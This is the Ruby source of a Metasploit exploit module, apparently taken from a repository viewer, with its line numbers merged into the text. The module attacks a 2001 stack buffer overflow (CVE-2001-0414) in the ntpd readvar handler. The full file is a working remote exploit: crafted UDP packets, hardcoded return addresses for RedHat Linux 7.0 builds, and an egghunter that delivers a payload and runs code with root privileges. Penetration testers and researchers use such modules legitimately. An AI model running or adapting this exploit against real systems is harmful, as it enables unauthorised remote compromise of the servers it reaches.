Path: blob/master/modules/exploits/multi/ntp/ntp_overflow.rb
19534 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::Udp9include Msf::Exploit::Remote::Egghunter1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'NTP Daemon readvar Buffer Overflow',16'Description' => %q{17This module exploits a stack based buffer overflow in the18ntpd and xntpd service. By sending an overly long 'readvar'19request it is possible to execute code remotely. As the stack20is corrupted, this module uses the Egghunter technique.21},22'Author' => 'aushack',23'License' => MSF_LICENSE,24'References' => [25[ 'CVE', '2001-0414' ],26[ 'OSVDB', '805' ],27[ 'BID', '2540' ],28[ 'US-CERT-VU', '970472' ],29],30'Payload' => {31'Space' => 220,32'BadChars' => "\x00\x01\x02\x16,=",33'StackAdjustment' => -3500,34'PrependEncoder' => Metasm::Shellcode.assemble(Metasm::Ia32.new, "xor eax,eax mov al,27 int 0x80").encode_string, # alarm(0)35'Compat' =>36{37'ConnectionType' => '-reverse',38},39},40'Platform' => [ 'linux' ],41'Arch' => [ ARCH_X86 ],42'Targets' => [43[ 'RedHat Linux 7.0 ntpd 4.0.99j', { 'Ret' => 0xbffffbb0 } ],44[ 'RedHat Linux 7.0 ntpd 4.0.99j w/debug', { 'Ret' => 0xbffff980 } ],45[ 'RedHat Linux 7.0 ntpd 4.0.99k', { 'Ret' => 0xbffffbb0 } ],46# [ 'FreeBSD 4.2-STABLE', { 'Ret' => 0xbfbff8bc } ],47[ 'Debugging', { 'Ret' => 0xdeadbeef } ],48],49'Privileged' => true,50'DisclosureDate' => '2001-04-04',51'DefaultTarget' => 0,52'Notes' => {53'Reliability' => UNKNOWN_RELIABILITY,54'Stability' => UNKNOWN_STABILITY,55'SideEffects' => UNKNOWN_SIDE_EFFECTS56}57)58)5960register_options([Opt::RPORT(123)])61end6263def exploit64hunter = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })65egg = hunter[1]6667connect_udp6869pkt1 = "\x16\x02\x00\x01\x00\x00\x00\x00\x00\x00\x016stratum="70pkt2 = "\x16\x02\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00"7172sploit = pkt1 + make_nops(512 - pkt1.length)73sploit[(220 + pkt1.length), 4] = [target['Ret']].pack('V')74sploit[(224 + pkt1.length), hunter[0].length] = hunter[0]7576print_status("Trying target #{target.name}...")7778print_status("Sending hunter")79udp_sock.put(sploit)80select(nil, nil, nil, 0.5)8182print_status("Sending payload")83udp_sock.put(pkt1 + egg)84select(nil, nil, nil, 0.5)8586print_status("Calling overflow trigger")87udp_sock.put(pkt2)88select(nil, nil, nil, 0.5)8990handler91disconnect_udp92end93end949596